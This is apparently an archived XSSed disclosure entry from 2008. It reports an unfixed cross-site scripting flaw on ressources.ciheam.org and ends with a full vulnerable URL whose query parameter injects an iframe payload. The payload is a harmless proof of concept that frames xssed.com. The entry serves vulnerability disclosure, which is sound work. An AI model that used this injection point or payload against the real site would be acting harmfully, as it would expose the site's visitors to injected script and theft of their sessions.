Unfixed XSS vulnerability at ressources.ciheam.org

2008-03-10T00:00:00
ID XSSED:50998
Type xssed
Reporter death-angel
Modified 2008-04-10T00:00:00

Description

Security researcher death-angel, has submitted on 03/10/2008 a cross-site-scripting (XSS) vulnerability affecting ressources.ciheam.org, which at the time of submission ranked 512362 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 04/10/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.

Vulnerable URL: http://ressources.ciheam.org/ci_baseisis/fr/trouve.php?langue=fr&t2003=and&t2020=10&t2002=dd&t2005=and&t2004=<iframe+height%3D"999"+width%3D"999"+src%3D"http%3A%2F%2Fxssed.com%2F">&t2015=or&t2014=<ifr&t2016=<ifr&t2009=and&t2011=and&recherche=RECHERCHER&t2040=&t2041=